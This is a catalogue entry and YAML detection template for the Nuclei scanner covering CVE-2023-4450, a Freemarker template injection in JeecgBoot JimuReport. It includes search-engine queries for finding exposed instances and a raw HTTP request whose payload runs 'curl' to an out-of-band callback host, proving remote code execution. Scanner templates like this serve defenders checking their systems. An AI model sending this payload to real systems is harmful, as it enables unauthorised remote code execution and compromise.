CVE-2023-4450: JeecgBoot JimuReport - Template injection
- Template: CVE-2023-4450
- Name: JeecgBoot JimuReport - Template injection
- Description: A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
- Impact: Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
- Remediation: Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
- Severity: critical
- Authors: Sumanth Vankineni
- Tags: cve, cve2023, rce, jeecgboot, vkev, vuln
- References: https://github.com/advisories/GHSA-j8h5-8rrr-m6j9, https://whoopsunix.com/docs/java/named%20module/, https://nvd.nist.gov/vuln/detail/CVE-2023-4450
- Cves: CVE-2023-4450
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-4450.yaml
- Digest: 4a0a00473045022100f66eeb161b0a6832ae1e38c23d937b13a0cd38fc2d57b054ab2d20515f3896db022014c00eebf071e0fab5955f40945d778b063e13bc6b5a56da1adf7538da44d2cc
- Created at: 2024-07-15T11:18:01Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 862
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-4450.yaml
Classification
- Epss score: 0.11595
- Epss percentile: 0.96147
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, cpe
Metadata
- Fofa-query: title="JeecgBoot 企业级低代码平台", title="jeecg-boot", title="jeecgboot 企业级低代码平台"
- Google-query: intitle:"jeecg-boot"
- Max-request: 1
- Product: jeecg
- Shodan-query: title:"Jeecg-Boot", http.title:"jeecg-boot"
- Vendor: jeecg
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| jeecg:jeecg | yes | /v1/products/jeecg/jeecg |
Labels
- Name: jeecgboot JimuReport - Template Injection
- Impact: Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
- Remediation: Update to the latest version of jeecgboot JimuReport.
- Vulnerability type: template_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-4450
- Not known: requirements
```yaml
id: CVE-2023-4450
info:
name: JeecgBoot JimuReport - Template injection
author: Sumanth Vankineni
severity: critical
description: |
A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
impact: |
Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
remediation: |
Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
- https://whoopsunix.com/docs/java/named%20module/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
classification:
epss-score: 0.11595
epss-percentile: 0.96147
metadata:
verified: true
max-request: 1
vendor: jeecg
product: jeecg
shodan-query:
- title:"Jeecg-Boot"
- http.title:"jeecg-boot"
fofa-query:
- title="JeecgBoot 企业级低代码平台"
- title="jeecg-boot"
- title="jeecgboot 企业级低代码平台"
google-query: intitle:"jeecg-boot"
tags: cve,cve2023,rce,jeecgboot,vkev,vuln
http:
- raw:
- |
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
"type": "0"
}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'status_code == 200'
- 'contains(content_type,"application/json")'
- 'contains(body,"success")'
condition: and
digest: 4a0a00473045022100f66eeb161b0a6832ae1e38c23d937b13a0cd38fc2d57b054ab2d20515f3896db022014c00eebf071e0fab5955f40945d778b063e13bc6b5a56da1adf7538da44d2cc:922c64590222798bb761d5b6d8e72950
```